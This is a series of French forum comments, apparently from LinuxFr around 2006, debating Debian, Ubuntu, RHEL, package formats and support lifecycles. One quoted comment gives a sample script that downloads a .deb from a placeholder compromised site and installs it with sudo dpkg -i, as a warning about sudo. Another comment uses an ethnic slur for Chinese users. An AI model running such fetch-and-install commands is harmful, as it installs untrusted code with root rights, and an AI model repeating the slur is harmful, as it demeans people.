Ces appels d'offres sont logiques car ils découlent d'une volonté relativement ferme d'utiliser davantage de Logiciels Libres au sein de nos chères administrations. Pour autant, certains sociétés privées, cul et chemise avec certains de nos dirigeants, poursuivent un but très éloigné de l'intérêt commun.
En effet, il m'a été donné de voir qu'il existe dans un de nos ministères des politiques de sécurité qui demandent aux serveurs de messagerie de bloquer les fichiers au format OpenDocument sous prétexte que l'XML n'est pas sûr et qu'un organisme de sécurité de l'État a déjà réussi à écrire une macro malveillante.
En fait, la raison est que les éditeurs d'antivirus savent très bien scanner les divers documents produits par MS Office mais ce n'est pas encore le cas des documents produits par OpenOffice alors même que leurs moteurs sont portés aussi bien sous Windows que sous Linux et même parfois sous Solaris.
Microsoft n'est pas le seul à faire pression, loin s'en faut mais je connais de valeureux gendarmes qui risquent soit de tirer la gueule, soit de faire pression à leur tour.
L'intérêt ? Mais le support bien sûr.
L'argument principal de cette offre, c'est le support (commercial), un concept qui n'existe guère chez Debian.
On a bien quelques sociétés tiers ci et là qui tentent d'offrir un support pour Debian mais elles restent timorées car il n'y a personne sur qui "taper".
Or, l'offre de Canonical est un support commercial de la distribution sur les architectures officielles de 5 ans !
Dois-je rappeller que, bien que cela ramène le "support" de la woody à environ 4 ans, le projet Debian arrête[1] officiellement de fournir de nouvelles mises à jour (de sécurité) pour woody dans seulement 10 jours. 4 ans de support, c'est déjà bien mais en même temps, ça fait à peine un an que sarge a été publiée[2]...
Si les particuliers n'ont eu aucun mal, je doute que les nombreux exploitants et administrateurs ont eu suffisament de temps pour planifier la mise à jour (d'ailleurs, on m'a refilé une exploitation avec une woody sur sparc64...).
Supporter la version actuelle jusqu'à la nouvelle version, c'est facile et normal mais supporter l'ancienne version, c'est plus difficile.
J'aimerais bien que l'un des pro-debian me dise (parce que je vis dans une bulle, hein, désolé) quelle est la véritable raison de cet arrêt de support ? Je suis désolé mais un an après la publication de la nouvelle version, c'est un peu court. J'en veux pour preuve les nombreuses RHEL3 que je vois encore bien après que la RHEL4 ait été publiée... Les professionnels ne changent pas de version majeure d'un système simplement parce que l'éditeur l'a décidé.
Ils ont des applications à faire tourner.
Maintenant, comme toute offre de support, on verra bien ce que ça donnera dans le temps car c'est encore un peu tôt pour en juger.
Ce qu'il veut dire c'est que les clients n'achètent pas d'abord un système mais avant tout une application.
Ensuite, l'intégrateur fournit un système voire une architecture qui est censé(e) supporter complètement l'application en question.
Voilà pourquoi la plupart des clients ne migrent pas leurs systèmes tant que l'application rend le service demandé et pourquoi on trouve non seulement des Windows NT4 mais aussi de vieilles RedHat (non pas des 9 mais des 7.3 voire des 7.1 !!!).
Bref ma question, est-il possible de trouver à la fois, une distrib comme Ubuntu (presque à jour) mais sans UTF8, problème de libre/nonlibre... Sans utiliser une version commerciale (Suse, RH, Mdv) ?
La réponse, tu l'as déjà sur ton disque dur.
Je ne vois pas pourquoi tu ne pourrais pas basculer ton système en ISO plutôt qu'en UTF-8, ce qui est par défaut.
Quant aux mises à jour, je rappelle que les versions stables d'Ubuntu sont figées pendant 6 mois avant qu'une nouvelle version n'apparaissent ce qui devrait être un bon compromis entre une distribution "stable" mais régulièrement à jour. Pour reprendre ton exemple avec postgresql 8.1, il est bien disponible et dans main qui plus est.
Pour revenir à tes scripts, es-tu vraiment obligé d'utiliser des accents ?
Sous Ubuntu Dapper, on a le choix entre la 7.4, la 8.0 et la 8.1.
par contre je ne trouve pas le paquet sur le site de debian, c'est bizarre, d'autant plus que je n'utilise que des dépôts officiel
Officiels sans doute mais tu mélanges allègrement les trois saveurs, bravo. Quant à savoir d'où vient ton paquet, utilise donc la commande "apt-cache policy postgresql-8.1", voire jeter un oeil sur http://packages.debian.org/.
sinon Debian peut être sans UTF8 sans problème, il suffit de paramétrer les locales (va voir /etc/locale.gen)
Tout comme Ubuntu, hein.
il n'y a aucun problème pour trouver des codecs pour ces cochonneries de mp3 si diffusées sur internet (c'est quand même moins pire que wma...), idem pour flash.
Là, par contre, c'est du foutage de gueule.
Il y a assez peu de distributions qui supportent « officiellement » les codecs propriétaires comme le mp3 et le wma, surtout sans implémentation libre et à cause des brevets qui y sont liées.
Les distributions américaines (RedHat/Fedora...) et internationales n'y échappent pas. Même notre nationale Mandriva a des problèmes avec ça.
Il faut donc passer par des sites « non-officiels » pour avoir ces supports, n'en déplaise aux intégristes de Debian, bien que je puisse comprendre leurs motivations.
Et depuis la sortie de rpm 4.4.6, le format .deb n'a plus aucun avantage par rapport au format rpm qui supporte un sacré nombre de fonctions en plus.
Lesquelles ? Qu'est-ce qui manque au format .deb ou au couple apt/dpkg, selon toi ?
pourquoi :
- debian, c'est bien, mais c'est elle est pas LSB (fichier de conf dans tous les sens)
Dans tous les sens ? Pour autant que je sache, les fichiers de configuration sont situés sous /etc.
- outils de conf pas dispo (bon on les utilise pas énormément sur des serveurs)
Tu n'as jamais entendu parler de debconf ? Tu n'as jamais vraiment utilisé de debian alors parce que cet outil est vraiment trés pratique et il n'y a aucun équivalent dans les autres distributions.
- patchset merdique et minimaliste (peu de fonctionalités par défaut)
Pourrais-tu être plus précis ?
- vielle
On ne dit pas "vieille" mais "stable". Debian ne publie pas de versions tous les ans (ou tous les 6 mois) mais quand elle est prête, ce qui peut agacer certains utilisateurs avides de nouveautés. Cependant, dans le monde professionnel, 3 ans c'est finalement peu.
- problème de sécurité dernièrement <= c'est une des principales raison.
À quel problèmes de sécurité en particulier fais-tu allusion ?
- 6mois pour faire des corrections de bugs dans des paquets critiques (bon ok, c'est pour start-stop-daemon dans dpkg, mais c'est pas possible en version finale)
Pourrais-tu être plus précis, encore une fois, à ce propos ?
Le paquet peut-être critique mais c'est le bogue qui doit avoir une gravité suffisament sérieuse pour que le RM daigne intégrer un correctif, hors corrections de sécurité.
Et tant qu'a devoir me gérer un pool de paquet corrigé pour des faille autant ne pas dupliquer ce boulot pour plusieurs distrib.
Oui: autant en faire profiter les autres !
Ça pue le troll, mais étant sur cooker en ce moment, elle est vraiment plus facile a utiliser.
Tout est relatif et une question d'habitude.
Quand au format deb, il a quand même un gros défaut :
- pas de src.rpm
Ui je sais apt-get source machin...
Mais pour avoir testé, il y a des problèmes dans tous les sens (par exemple le paquet php4 dois être "apt-get sourcé" a chaque fois car certains patchs ne peux être dé-appliqués)
Je ne comprends pas ce que tu veux dire...
Lorsque tu "apt-get source" un paquet, les patchs ne sont pas appliqués aux sources originales, au contraire. C'est la phase de construction du paquet qui va les inclure. Et tu peux les enlever aussi facilement qu'en commentant les lignes dans le fichier .spec.
L'approche src.rpm est je trouve beaucoup plus pratique, car :
- on télécharge un fichier unique (idem)
Je ne vois pas en quoi c'est un avantage puisque la commande "apt-get source" se charge de tout.
- on le met dans un répertoire
Quel est le rapport avec un quelconque avantage ?
- on joue pas avec des outils "magique" comme fakeroot qui foirent
"fakeroot" n'est ni magique, ni foireux et encore moins spécifique à Debian. Tu n'es pas arrivé à t'en servir correctement, c'est différent.
- on peux reprendre une compilation (pour pas se retaper tout le process quand on a un fichier qui merdent a la fin)
Là encore, c'est ton ignorance qui te joue des tours. On peut éventuellement reprendre la compilation là où ça s'était arrêté mais, je te l'accorde, ce n'est pas le comportement par défaut.
- signature dans le fichier rpm (pour le .deb c'est en dehors si mes souvenir sont bon)
On ne signe pas le .deb (bien qu'on puisse) mais le .changes et le .dsc. L'un comme l'autre contienne les sommes MD5, si bien que ça revient au même.
Bref; c'est totalement subjectif car tu n'as manifestement fait que survoler la construction d'un paquet debian.
Il faudrait déjà définir ce qu'est la stabilité.
En fait, c'est davantage un système qui ne bouge guère même s'il peut planter dans certains cas (même Debian stable peut planter out-of-the-box: à chaque fois que j'essaie de brancher un graveur parce que la gestion de l'USB par le 2.6.8 n'est pas son point fort).
Ce qui définit finalement une distribution "stable", c'est qu'à partir d'une date donnée, sa logithèque ne bouge plus (à part les corrections de sécurité mais ce seront de préférence des rétro-portages de correctifs). Il n'y a plus de montée en version d'un des logiciels fournis ce qui évite d'autant les problèmes de compatibilités et donc fixe les problèmes aux seules versions fournies.
Si tu parle de la RHEL et pas de la mandriva, dis le clairement...
Parce que c'est quand même deux monde, la RHEL contient quasiment rien (pas de php/mysql par exemple), parce que tout le contenu est "supporté" par red hat...
Désolé mais si je n'ai pas mentionné "urpmi" mais au contraire "yum" et "up2date", c'est qu'à-priori, je ne parle pas de Mandriva...
Il n'y a pas que Mandriva pour utiliser le format RPM, hein, loin de là.
Parce que c'est quand même deux monde, la RHEL contient quasiment rien (pas de php/mysql par exemple), parce que tout le contenu est "supporté" par red hat...
Je n'ai jamais parlé de PHP/MySQL, tu fais un mauvais procès.
J'ai surtout parlé des modules Perl car c'est ce dont j'ai besoin.
Quand au système de rpm, c'est en train de changer, la version 4.4.6 va supporter de nouvelles fonctionalités, telles que les dépendances optionnelles (je sais ça existe dans apt depuis longtemps).
Les choses ont pas mal bougés depuis que tu a du tester une mandriva.
Et au lieu de prendre une distribution qui contient rien (c'est ton choix), tu peux aussi prendre une distribution qui contient tout (mandriva/debian), prendre un support dessus (mandriva), ou faire toi-même (mandriva free/debian).
J'ai gardé une mauvaise image de Mandrake mais je n'ai pas non plus toujours le choix des armes. La plupart des clients auxquels j'ai eu affaire utilisent RHEL, point. Quelques fois, j'ai le bonheur d'avoir des Debian, je n'ai pas eu l'occasion d'avoir de Mandrake/Mandriva.
Et si j'avais le choix, je prendrais certainement Debian sauf s'il y a explicitement une question de support qui entre en jeu.
Je compte plus le nombre de type qui passent sur #php pour demander comment installer mysql5 et php5, franchement si c'est pour se taper sois-même la maintenance de portions critique du système autant utiliser une distribution qui le fournit (centos/debian/mandriva/etc...)
Et puis red hat et pas non plus super en avance sur les nouveautés, urpmi a eu une sacrée avance avant l'arrivée de yum (qui ne supporte pas encore tout ce que supporte urpmi par exemple).
Que RedHat soit en avance ou non, je n'en ai cure. Quand on me l'impose, c'est jusqu'à présent du RHEL3 (!) parce qu'ils n'ont pas encore formalisé, testé ou prévu d'utiliser/migrer vers la RHEL4, pour te dire. Et pourtant, j'ai déjà des applications qui, sans nécessiter PHP5, demandent de plus en plus MySQL 4 (je ne parle même pas du 5). Or, RHEL3 est fournie avec MySQL 3.23...
Oui, je sais que c'est une hérésie de devoir installer le paquet RPM fourni par MySQL AB mais va faire comprendre à certains clients qu'il faudrait passer à une version supérieure alors qu'en interne, ils ne l'ont pas encore intégré (je parle de leurs équipes d'administration).
Pour en finir avec urpmi, ça ne vaut pas apt et je ne comprends pas pourquoi Mandrake a choisi de développer son propre outil au lieu de contribuer au projet apt-rpm...
Fedora n'a pas à mon sens une telle réputation.
En outre, il s'agit, à la base, de la distribution de "développement" sur laquelle est ensuite basée RedHat Entreprise Linux (RHEL).
Quant à Ubuntu, elle utilise Gnome par défaut et son cycle de publication est calé sur celui du projet Gnome, c-a-d une nouvelle version majeure tous les six mois. Ubuntu publie généralement (exception faite de Dapper Drake qui a pris deux mois de retard pour que les niaks puissent avoir Ubuntu en chinois...) une nouvelle version un mois après environ. Ensuite, cette version est dite "stable", au même sens que Debian stable : tu n'auras pas de mises à jour fonctionnelles avant la prochaine version (ou alors exceptionnelles).
Les seules mises à jour concernent celles de sécurité.
Typiquement, il a fallu attendre Dapper Drake avant d'avoir Firefox 1.5, car tous les projets n'ont pas une fréquence de publication régulière et il est arrivé par deux fois que le projet Mozilla publie (et ce n'est pas le seul exemple, Il a fallu aussi attendre Dapper pour avoir OpenOffice 2.0, le vrai, pas la 1.99.x) Firefox peu (un mois ou deux) après la sortie de la nouvelle Ubuntu. Je ne dis pas qu'ils le font exprès mais que c'est dommage et je pense qu'ils ne se de toutes façons préoccupent pas énormément de la plate-forme Linux en général.
Ce qui m'ennuie le plus c'est pas tant la pub ouvertes et racoleuse que vous faites, mais les débutants qui se font berner par elle et essuie les pots cassés.
Alors qu'avec une autre distribution connue pour être user-friendly ils ne les aurait pas eu. (bon ok cette distribution dois être mise a jour dès sa sortie pour résoudre des bugs stupides et ennuyeux sur le driver libre nv et kat)
Pour ce qui est de la sécurité, bon sudo c'est bien, mais activé par défaut c'est plutôt moyen, et vu l'explosion d'ubuntu, je sens que les programmes genre :
[machin@ubuntu ~]$ cat funy.sh
#! /bin/sh
wget http://sitetroué/chemin/basesystem-6.06....deb -O /tmp/basesystem-6.06....deb
sudo dpkg -i /tmp/basesystem-6.06....deb
Et bien ça va faire des dégats... (transmis par messagerie instantanée/mail/etc)
C'est un faux-argument. Ils n'ont pas attendu sudo pour avoir une console root (voire se loguer en root comme ils se loguaient en "Administrateur"') et taper les commandes nécessaires ou installer des paquets non-officiels venus d'on-ne-sait-où (quand ils ne les compilent pas à la main). Si l'utilisateur n'est pas sensibilisé aux problèmes de sécurité (voir les problèmes de virus transmis par mail: de plus en plus de non-initiés utilisent Thunderbird à cette fin), aucun système de sécurité ne sera efficace.
À condition d'avoir les effectifs en conséquence. Le problème est qu'alors, tu dois assumer le support des logiciels que tu embarques...
Je ne dis pas que le client ne va pas te taper dessus au moindre souci mais il est plus facile de démontrer que le problème vient de RedHat lorsqu'on utilise son système de mise à jour, voilà tout.
L'utilisation de RHEL intervient surtout dans des contextes professionnels avec des besoins de support logiciels et matériels.
En outre, depuis le rachat de Conectiva par Mandrake/Mandriva, qu'en est-il du développement d'apt-rpm ? Là est la question car si le projet a été abandonné en cours de route, il vous faudra également le supporter. Aurez-vous toujours les effectifs nécessaires ?
Car, là où il faut souvent récupérer des paquets RPM ci et là parce que la logithèque offerte par la distribution ne les fournit pas (rien qu'avec les modules Perl, pour l'exemple
Perl , c est vraiment un tres mauvais exemple , va voir un peu la quantité de modules perl "rpmisés" dans la mandriva , tu devrais être surpris .
Désolé mais mes clients n'utilisent pas Mandrake/Mandriva mais RHEL (et la 3 en plus). Et ce qui leur importe, ce n'est pas que la majorité des modules Perl soit présents mais que leurs applications soient supportées sur tel ou tel système d'exploitation (en l'occurence, c'est souvent Oracle).
Bien qu'APT soit techniquement supérieur aux autres systèmes comme yum ou up2date, ils pâtissent surtout du format RPM qui s'appuie non pas sur des dépendances de paquets mais sur des fichiers.
Oui mais non , rpm s'appuie a la fois sur les dependances de fichiers ET/OU de paquets.
Enfin bref , c'est pas ni l'outil de résolution de dépendance des paquets que ce soit apt urpmi ou yum , ni le format de paquet choisi qui font la qualité et l'homogenéité d'une distribution mais la qualité des paquets , et la bonne intégration/cohérence avec tous les autres paquets.
Je suis d'accord sur ce point de vue, j'aurais dû le préciser quand je parlais de l'importante logithèque.
Debian prends certainement son temps pour sortir des distributions en revanche il est difficile de trouver une aussi bonne cohérence et homogeneité que dans une autre distrib , dire que ubuntu c est comme debian , donc la gestion de paquets est gainiale n y fera rien , si les packageurs/mainteneurs ubuntu font du boulot pas propre , ca fera une distro naze , et avec des releases tous les 6 mois je me demande bien ce que ca donne...
En tout cas, ça me procure un poste de travail relativement à jour et stable : excellent compromis à Debian unstable.
Debian ne doit pas son succès qu'au système APT seul.
L'importante logithèque disponible grâce à ce système en est, à mon avis, aussi à l'origine, pour une grande partie.
Car, là où il faut souvent récupérer des paquets RPM ci et là parce que la logithèque offerte par la distribution ne les fournit pas (rien qu'avec les modules Perl, pour l'exemple), sous Debian, ces logiciels sont déjà là et du coup, très facilement installable.
Oui, c'est ça la vraie force du projet Debian: son importante logithèque.
Bien qu'APT soit techniquement supérieur aux autres systèmes comme yum ou up2date, ils pâtissent surtout du format RPM qui s'appuie non pas sur des dépendances de paquets mais sur des fichiers. Même le port d'APT pour RPM n'a pas suffit à créer l'engouement qu'on en aurait attendu (et je suis le premier à le déplorer: utiliser APT quelque soit la distribution...).
2/ Debian etch ou sid (déjà installables sans attendre 6mois)permettent d'utiliser le SATA dans les quelques pb connus pour sarge, d'où ma précision
Oh oui, comme sarge qui devait voir le jour en décembre 2004 ? Résultat des courses, elle est sortie en Juin 2005, soit 6 mois après...
L'intérêt principal d'Ubuntu, selon moi, c'est d'avoir une distribution relativement récente qui ne va trop bouger pendant 6 mois, histoire de pouvoir envisager de travailler avec, au boulot, dans ma bulle.
Alors, oui, bien sûr qu'on peut installer une testing puis passer en sid derrière mais je n'ai pas le temps de chercher à comprendre pourquoi mon poste de travail refuse soudainement d'imprimer ou même que Xorg refuse de démarrer. Oui, je ne suis pas obligé de faire les mises à jour tout ça mais il y aura toujours un moment où l'une d'entre-elles sera la mise à jour de trop.
Je suis prêt à aider le projet Debian, mais dans la vraie vie, je travaille pour une société et j'ai besoin d'outils de travail qui fonctionnent et on ne m'octroie pas le temps pour résoudre mes petits soucis. En fait, je suis payé pour résoudre ceux des autres qui n'ont pas plus le temps.
Un cordonnier, en somme...
D'expérience avec ma copine, ce n'est pas toujours aussi évident que cela car ce qui est affiché dans le terminal est parfois très flou pour un non-initié.
L'installation de nouveaux logiciels n'a jamais été aussi facile sur aucun autre système ! Des centaines de logiciels sont disponibles, supportés ou communautaires, libre ou commerciaux. L'installation et la mise-à-jour est géré automatiquement. L'interface d'installation est très agréable. Les linuxiens n'ont rien à envier aux Windowsiens et leur telechargez.com et consorts !
Je trouve ce paragraphe un peu trop commercial à mon goût. Si tu parles de synaptic. Sâche qu'il n'est pas dispo que pour ubuntu, il a existé avant et il existera après.
C'est à ce genre de détails qu'on distingue ceux qui ont déjà utilisé Ubuntu et ceux qui se basent sur les oui-dire parce qu'ils "n'aiment pas Ubuntu et pis c'est tout". Les utilisateurs d'Ubuntu n'utilisent synaptic qu'en second recours. Les principaux outils d'installation et de mise à jour des logiciels se nomment respectivement gnome-app-install et update-manager.
Elle contient toujours l'applet poubelle si typique d'un bureau Ubuntu
J'ai une icone poubelle sur mon bureau, je suis sur ubuntu ? non sous debian avec KDE, une icone ne fait pas la réputation d'une distribution. L'applet de poubelle se retrouve aussi dans Fedora core 5 il me semble. Ca n'a rien de spécifique à ubuntu.
Même constat, même remarque. Pourtant, la première capture d'écran t'aurait permis de faire la différence entre l'icône de la Corbeille sur le bureau et l'applet qu'on installe dans une barre de tâches. Ah oui, c'est vrai: tu n'utilises pas Gnome...
"Pour remplacer Visio, je n'ai que le triste Dia. NVU ne souffre pas la comparaison avec Dreamweaver..."
- Je trouve Dia ultra puissant mais j'avoue ne pas connaitre visio. Es-tu sûr que ce n'est pas juste une question d'habitude ?
Je pense que ce qui manque à Dia, ce n'est pas vraiment du code mais des bibliothèques d'images pour ne pas trop souffrir de la comparaison avec Visio. Simplement, c'est généralement pas libre.
Pour tes commentaires sur Open Office ou NVU, tu fais preuve d'un manque d'ouverture d'esprit car tout le monde n'a pas la même utilisation de ces outils que toi, et si tu les utilises vraiment en 10 minutes il est facile de trouver les manques.
Tu sais on peut être non spécialiste en informatique mais avoir des besoins avancés sur l'un ou sur l'autre, ou avoir besoin d'une interface ou de fonctionnalités qui permettent justement des choses impossibles ou trop compliquées autrement.
Je veux bien que tu nous en mentionnes avec le pourquoi et tout.
Parce que j'utilise quotidiennement OpenOffice pour réaliser des documents d'exploitation et je n'ai pas de problèmes.
Ce serait plutôt lié à des soucis de workflow pour travailler en équipe mais bon "on n'a pas le temps de tester Alfresco"(tm).
Pour notre part, on utilise abondamment les document-maître, les modifications et ce sont loin d'être des exemples de fonctionnalités couramment utilisées pour éditer son CV chez soi.
En fait, les principaux problèmes rencontrés sont davantage liés à l'import de documents Word (souvent mal ficelés ou abusant des macros) qu'autre chose.
[^] # Re: L'ADAE préconise déjà d'utiliser des LLs mais...
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Important appel d'offres du ministère de l'intérieur. Évalué à 1.
[^] # Re: L'ADAE préconise déjà d'utiliser des LLs mais...
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Important appel d'offres du ministère de l'intérieur. Évalué à 1.
Oh, ça, on s'en fiche, la première règle de filtrage concerne la taille des pièces jointes. Faudrait pas confondre SMTP avec FTP, non plus.
# L'ADAE préconise déjà d'utiliser des LLs mais...
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Important appel d'offres du ministère de l'intérieur. Évalué à 7.
En effet, il m'a été donné de voir qu'il existe dans un de nos ministères des politiques de sécurité qui demandent aux serveurs de messagerie de bloquer les fichiers au format OpenDocument sous prétexte que l'XML n'est pas sûr et qu'un organisme de sécurité de l'État a déjà réussi à écrire une macro malveillante.
En fait, la raison est que les éditeurs d'antivirus savent très bien scanner les divers documents produits par MS Office mais ce n'est pas encore le cas des documents produits par OpenOffice alors même que leurs moteurs sont portés aussi bien sous Windows que sous Linux et même parfois sous Solaris.
Microsoft n'est pas le seul à faire pression, loin s'en faut mais je connais de valeureux gendarmes qui risquent soit de tirer la gueule, soit de faire pression à leur tour.
[^] # Re: Intérêt ???
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu 6.06 LTS serveur pour Sparc 64bit. Évalué à 1.
L'argument principal de cette offre, c'est le support (commercial), un concept qui n'existe guère chez Debian.
On a bien quelques sociétés tiers ci et là qui tentent d'offrir un support pour Debian mais elles restent timorées car il n'y a personne sur qui "taper".
Or, l'offre de Canonical est un support commercial de la distribution sur les architectures officielles de 5 ans !
Dois-je rappeller que, bien que cela ramène le "support" de la woody à environ 4 ans, le projet Debian arrête[1] officiellement de fournir de nouvelles mises à jour (de sécurité) pour woody dans seulement 10 jours. 4 ans de support, c'est déjà bien mais en même temps, ça fait à peine un an que sarge a été publiée[2]...
Si les particuliers n'ont eu aucun mal, je doute que les nombreux exploitants et administrateurs ont eu suffisament de temps pour planifier la mise à jour (d'ailleurs, on m'a refilé une exploitation avec une woody sur sparc64...).
Supporter la version actuelle jusqu'à la nouvelle version, c'est facile et normal mais supporter l'ancienne version, c'est plus difficile.
J'aimerais bien que l'un des pro-debian me dise (parce que je vis dans une bulle, hein, désolé) quelle est la véritable raison de cet arrêt de support ? Je suis désolé mais un an après la publication de la nouvelle version, c'est un peu court. J'en veux pour preuve les nombreuses RHEL3 que je vois encore bien après que la RHEL4 ait été publiée... Les professionnels ne changent pas de version majeure d'un système simplement parce que l'éditeur l'a décidé.
Ils ont des applications à faire tourner.
Maintenant, comme toute offre de support, on verra bien ce que ça donnera dans le temps car c'est encore un peu tôt pour en juger.
[1]: http://www.debian.org/News/2006/20060601
[2]: Debian sarge a été publiée le 6 juin 2005.
[^] # Re: ah merde alors
Posté par Raphaël SurcouF (site web personnel) . En réponse au journal Debian ne supportera plus la Woody à la fin du mois. Évalué à 1.
Ensuite, l'intégrateur fournit un système voire une architecture qui est censé(e) supporter complètement l'application en question.
Voilà pourquoi la plupart des clients ne migrent pas leurs systèmes tant que l'application rend le service demandé et pourquoi on trouve non seulement des Windows NT4 mais aussi de vieilles RedHat (non pas des 9 mais des 7.3 voire des 7.1 !!!).
# Ubuntu !
Posté par Raphaël SurcouF (site web personnel) . En réponse au message Distro pas UTF8. Évalué à 2.
La réponse, tu l'as déjà sur ton disque dur.
Je ne vois pas pourquoi tu ne pourrais pas basculer ton système en ISO plutôt qu'en UTF-8, ce qui est par défaut.
Quant aux mises à jour, je rappelle que les versions stables d'Ubuntu sont figées pendant 6 mois avant qu'une nouvelle version n'apparaissent ce qui devrait être un bon compromis entre une distribution "stable" mais régulièrement à jour. Pour reprendre ton exemple avec postgresql 8.1, il est bien disponible et dans main qui plus est.
Pour revenir à tes scripts, es-tu vraiment obligé d'utiliser des accents ?
[^] # Re: Debian !
Posté par Raphaël SurcouF (site web personnel) . En réponse au message Distro pas UTF8. Évalué à 0.
Officiels sans doute mais tu mélanges allègrement les trois saveurs, bravo. Quant à savoir d'où vient ton paquet, utilise donc la commande "apt-cache policy postgresql-8.1", voire jeter un oeil sur http://packages.debian.org/.
Tout comme Ubuntu, hein.
Là, par contre, c'est du foutage de gueule.
Il y a assez peu de distributions qui supportent « officiellement » les codecs propriétaires comme le mp3 et le wma, surtout sans implémentation libre et à cause des brevets qui y sont liées.
Les distributions américaines (RedHat/Fedora...) et internationales n'y échappent pas. Même notre nationale Mandriva a des problèmes avec ça.
Il faut donc passer par des sites « non-officiels » pour avoir ces supports, n'en déplaise aux intégristes de Debian, bien que je puisse comprendre leurs motivations.
[^] # Re: passage a ubuntu
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 2.
Lesquelles ? Qu'est-ce qui manque au format .deb ou au couple apt/dpkg, selon toi ?
Dans tous les sens ? Pour autant que je sache, les fichiers de configuration sont situés sous /etc.
Tu n'as jamais entendu parler de debconf ? Tu n'as jamais vraiment utilisé de debian alors parce que cet outil est vraiment trés pratique et il n'y a aucun équivalent dans les autres distributions.
Pourrais-tu être plus précis ?
On ne dit pas "vieille" mais "stable". Debian ne publie pas de versions tous les ans (ou tous les 6 mois) mais quand elle est prête, ce qui peut agacer certains utilisateurs avides de nouveautés. Cependant, dans le monde professionnel, 3 ans c'est finalement peu.
À quel problèmes de sécurité en particulier fais-tu allusion ?
Pourrais-tu être plus précis, encore une fois, à ce propos ?
Le paquet peut-être critique mais c'est le bogue qui doit avoir une gravité suffisament sérieuse pour que le RM daigne intégrer un correctif, hors corrections de sécurité.
Oui: autant en faire profiter les autres !
Tout est relatif et une question d'habitude.
Je ne comprends pas ce que tu veux dire...
Lorsque tu "apt-get source" un paquet, les patchs ne sont pas appliqués aux sources originales, au contraire. C'est la phase de construction du paquet qui va les inclure. Et tu peux les enlever aussi facilement qu'en commentant les lignes dans le fichier .spec.
Je ne vois pas en quoi c'est un avantage puisque la commande "apt-get source" se charge de tout.
Quel est le rapport avec un quelconque avantage ?
"fakeroot" n'est ni magique, ni foireux et encore moins spécifique à Debian. Tu n'es pas arrivé à t'en servir correctement, c'est différent.
Là encore, c'est ton ignorance qui te joue des tours. On peut éventuellement reprendre la compilation là où ça s'était arrêté mais, je te l'accorde, ce n'est pas le comportement par défaut.
On ne signe pas le .deb (bien qu'on puisse) mais le .changes et le .dsc. L'un comme l'autre contienne les sommes MD5, si bien que ça revient au même.
Bref; c'est totalement subjectif car tu n'as manifestement fait que survoler la construction d'un paquet debian.
[^] # Re: La différence fondamentale
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Test d'Ubuntu 6.06 LTS. Évalué à 2.
En fait, c'est davantage un système qui ne bouge guère même s'il peut planter dans certains cas (même Debian stable peut planter out-of-the-box: à chaque fois que j'essaie de brancher un graveur parce que la gestion de l'USB par le 2.6.8 n'est pas son point fort).
Ce qui définit finalement une distribution "stable", c'est qu'à partir d'une date donnée, sa logithèque ne bouge plus (à part les corrections de sécurité mais ce seront de préférence des rétro-portages de correctifs). Il n'y a plus de montée en version d'un des logiciels fournis ce qui évite d'autant les problèmes de compatibilités et donc fixe les problèmes aux seules versions fournies.
[^] # Re: passage a ubuntu
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à -1.
Désolé mais si je n'ai pas mentionné "urpmi" mais au contraire "yum" et "up2date", c'est qu'à-priori, je ne parle pas de Mandriva...
Il n'y a pas que Mandriva pour utiliser le format RPM, hein, loin de là.
Je n'ai jamais parlé de PHP/MySQL, tu fais un mauvais procès.
J'ai surtout parlé des modules Perl car c'est ce dont j'ai besoin.
J'ai gardé une mauvaise image de Mandrake mais je n'ai pas non plus toujours le choix des armes. La plupart des clients auxquels j'ai eu affaire utilisent RHEL, point. Quelques fois, j'ai le bonheur d'avoir des Debian, je n'ai pas eu l'occasion d'avoir de Mandrake/Mandriva.
Et si j'avais le choix, je prendrais certainement Debian sauf s'il y a explicitement une question de support qui entre en jeu.
Que RedHat soit en avance ou non, je n'en ai cure. Quand on me l'impose, c'est jusqu'à présent du RHEL3 (!) parce qu'ils n'ont pas encore formalisé, testé ou prévu d'utiliser/migrer vers la RHEL4, pour te dire. Et pourtant, j'ai déjà des applications qui, sans nécessiter PHP5, demandent de plus en plus MySQL 4 (je ne parle même pas du 5). Or, RHEL3 est fournie avec MySQL 3.23...
Oui, je sais que c'est une hérésie de devoir installer le paquet RPM fourni par MySQL AB mais va faire comprendre à certains clients qu'il faudrait passer à une version supérieure alors qu'en interne, ils ne l'ont pas encore intégré (je parle de leurs équipes d'administration).
Pour en finir avec urpmi, ça ne vaut pas apt et je ne comprends pas pourquoi Mandrake a choisi de développer son propre outil au lieu de contribuer au projet apt-rpm...
[^] # Re: Marre de l'elitisme des utilisateurs debian
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 1.
En outre, il s'agit, à la base, de la distribution de "développement" sur laquelle est ensuite basée RedHat Entreprise Linux (RHEL).
Quant à Ubuntu, elle utilise Gnome par défaut et son cycle de publication est calé sur celui du projet Gnome, c-a-d une nouvelle version majeure tous les six mois. Ubuntu publie généralement (exception faite de Dapper Drake qui a pris deux mois de retard pour que les niaks puissent avoir Ubuntu en chinois...) une nouvelle version un mois après environ. Ensuite, cette version est dite "stable", au même sens que Debian stable : tu n'auras pas de mises à jour fonctionnelles avant la prochaine version (ou alors exceptionnelles).
Les seules mises à jour concernent celles de sécurité.
Typiquement, il a fallu attendre Dapper Drake avant d'avoir Firefox 1.5, car tous les projets n'ont pas une fréquence de publication régulière et il est arrivé par deux fois que le projet Mozilla publie (et ce n'est pas le seul exemple, Il a fallu aussi attendre Dapper pour avoir OpenOffice 2.0, le vrai, pas la 1.99.x) Firefox peu (un mois ou deux) après la sortie de la nouvelle Ubuntu. Je ne dis pas qu'ils le font exprès mais que c'est dommage et je pense qu'ils ne se de toutes façons préoccupent pas énormément de la plate-forme Linux en général.
[^] # Re: Marre de l'elitisme des utilisateurs debian
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 0.
